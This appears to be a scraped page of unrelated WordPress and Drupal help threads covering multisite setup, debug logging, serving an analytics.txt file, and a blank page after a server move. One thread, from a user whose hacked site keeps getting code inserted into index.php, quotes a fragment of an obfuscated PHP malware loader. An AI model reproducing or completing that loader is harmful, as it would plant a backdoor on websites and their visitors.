i have multiple (wordpress) sites, they are residing in subdirs, like this:
/var/www/html/moodle, /var/wwh/html/wordpresspageA, /var/www/html/wordpresspageB, /var/www/html/wp, and so on, you get the concept.
As far as I understand, the Multisites are located in /var/www/html/wp but can I also have a Multisite Installation like this
/var/www/html/wp-multi-master/ ?
So, if in my wp-config.php things are configured like this
define('MULTISITE', true);
define('SUBDOMAIN_INSTALL', true);
define('DOMAIN_CURRENT_SITE', 'yourdomain.com');
define('PATH_CURRENT_SITE', '/wp-multi-master'); # <<<<<< The line in question
define('SITE_ID_CURRENT_SITE', 1);
define('BLOG_ID_CURRENT_SITE', 1);
would this make me have a wordpress installation with multisite enabled that does not interfere with my other installations?
Simply put: Can I have a multisite Wordpress Installation next to "standard Wordpress Installations"?
used: apache2.4, ubuntu18.04, wordpress5
Related
I have a wordpress multisite. But I tried to find a recipe or tutorial on how to create a multisite-pod. There is none! Not a single example.
Could someone post an example please? How to use a pod within a template.php?
The structure of my domains/mapping:
example.org
network.example.org // define('DOMAIN_CURRENT_SITE', 'network.example.org');
example.org
example.de
The necessary fields are: name, content, link(german), link(english)
My Wordpress site is hacked and following code is bering added into index.php over and over - what should I do?
I have latest version of WP
<?php
$O_00__OO0O='BEGINJ6Pn2HmH0e568SXnR6KRkmP5tQbh7KEW';
$O0OO_0_O0_='balanced4141989';
$O00_0_OOO_=665;
$O0_0__OO0O='rD-BC-G-/F';
$O_000O__OO=1871;
$O_0_0O_OO0=array("perfecti","albuminuria","crusie","hepatocolic","duchesnea","constrainingly","flashtester","astroscopus","anonang","flagellator","diene","microgaster","deceitfully","jerker","bisect","antispreader","burring","landocrat","coletit","aurir");;
$O_0O_O_0O0='facemaker.php';
$O__OO0_O00='T4';
$O_0O0O_0O_=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O_00_O_0OO=$O_0O0O_0O_{26}.$O_0O0O_0O_{6}.$O_0O0O_0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}.$O_0O0O_0O_{30}.$O_0O0O_0O_{6}.
Normally index.php contain blew code in WordPress
<?php
define( 'WP_USE_THEMES', true );
/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );
Do you have your back files? If you have then just replaced this index.php
Also, you should add your site to Google Webmaster.
Many of the features of Google Webmaster Search Console can help you identify potential problems. Thank you.
I would like to enable debug logs of wordpress site, added following setting at wp-config.php
/* WordPress debug mode for developers. */
define('WP_DEBUG', true);
if (WP_DEBUG) {
define('WP_DEBUG_LOG', true);
define('WP_DEBUG_DISPLAY', false);
#ini_set('display_errors', 0);
}
created debug.log file under wp-content folder.
updated 777 on wp-content as well as debug.log..
But still file is blank..
Please let me know how can I fix it...
Just I would like to debug the site, some times home page going in infinite loop..i.e. browser not loading the page.. CPU goes to 100%...
Thanks
You have #ini_set('display_errors', 0); - which will tell PHP (not WordPress) to stop displaying errors. WordPress requires errors to be turned on in order for it to pass them to the appropriate place. define('WP_DEBUG_DISPLAY', false); or define('WP_DEBUG', false); should take care of hiding them on the front end for you.
Also, you should only need to define the constants, the IF statement you've created isn't necessary. What you're essentially saying there is "Turn on error reporting. Now, if error reporting is turned on, do this." - although logically correct, it's verbose. Simply defining the WP_DEBUG constant as true should be enough, as WordPress will do the rest of the work.
Also - if wp_debug.log doesn't exist- WordPress will create it for you (with the correct permissions), assuming it has permission to do so on your server (in most cases this will be true). So - you shouldn't need to change the CHMOD values of wp-content or it's children. I'd advise you to change them to WordPress' recommended values (755 for folders, and 644 for files) - as a CHMOD value of 777 is pretty foolhardy to have.
You should only need the following:
define('WP_DEBUG', true); // Turn on WP Debugging
define('WP_DEBUG_LOG', true); // Log errors to wp_debug.log
define('WP_DEBUG_DISPLAY', false); // Turns off error reporting on the front end
According to Debugging in Wordpress:
You must insert this BEFORE /* That's all, stop editing! Happy
blogging. */ in the wp-config.php file
In your case "this" is:
define('WP_DEBUG', true);
define('WP_DEBUG_LOG', true);
define('WP_DEBUG_DISPLAY', false);
It may also be worth checking the WP_CONTENT_DIR as that is where the debug.log file would be put. The value of WP_CONTENT_DIR may be checked as suggested in this question, or using the Wordfence plugin->Tools->Diagnostics->WordPress Settings.
Normally it is not explicitly set unless there's a non-standard setup. Though it can can be set in wp-config.php e.g. define('WP_CONTENT_DIR', '/var/www/sites/wordpress/wp-content');
I've been asked to add an analytics.txt file to a wordpress website so I've created the file and uploaded it to the server document root but when I go to it via the url www.examples.com/analytics.txt all I get is a 404 error.
I've checked the file permissions and I've cleared the wordpress cache but neither have helped.
Any ideas?
The folder structure is as follows:
wp-admin
wp-content
wp-includes
analytics.txt <-- added this file, but cannot seem to access it via a web browser
index.php
etc...
This is NOT the solution but it is a work-around while I carry on trying to figure out why wordpress won't allow me to access my file.
So if you're desperate and HAVE to get it sorted right now, here is what you could do, but I warn you, it's ugly! Open your index.php file and you should see something like this:
<?php
define('WP_USE_THEMES', true);
require( dirname( __FILE__ ) . '/wp-blog-header.php' );
?>
Make a backup copy first and then add the wrapping if statement:
<?php
if ($_SERVER[REQUEST_URI] == '/analytics.txt') {
die('Put the text that you were instructed to put into your analytics.txt file in here');
} else {
define('WP_USE_THEMES', true);
require( dirname( __FILE__ ) . '/wp-blog-header.php' );
}
?>
Like I said, this is a dirty solution but when needs must and the client is getting impatient, this could help in the mean time.
Hoping that someone will have a better solution though!
I was able to get this to work with the following for the Sage theme:
Upload the analytics.txt through the theme administration panel
Copy the url of the upload and remove the hostname. For me it looked like this: app/uploads/2018/09/analytics.txt
Open the functions.php file and add the following:
function analytics_txt_rewrite(){
add_rewrite_rule('^analytics\.txt$','<route to your analytics.txt file>','top');
}
add_action('init','analytics_txt_rewrite');
Flush and regenerate the rewrite rules database: From WordPress Administration Screens, Select Settings -> Permalinks and just click Save Changes without any changes.
I moved Drupal from one Linux server to another by copying files to PC then back to new server. I made changes to settings.php to reflect new database name. I got PHPmyADMIN working, so I know database and server are running.
When I run index.php, I get white screen. However in index.php when I echo out menu_execute_active_handler(), I get some part of my home page without menus. I think that this means that I am getting through bootstrap but failing somewhere else. Any ideas?
index.php
require_once './includes/bootstrap.inc';
drupal_bootstrap(DRUPAL_BOOTSTRAP_FULL);
$return = menu_execute_active_handler();
echo $return ;
Turn display_errors on in your php.ini file.
Your new server probably has them disabled.
Put this code in your index.php to see the error
error_reporting(E_ALL);
ini_set('display_errors', TRUE);
ini_set('display_startup_errors', TRUE);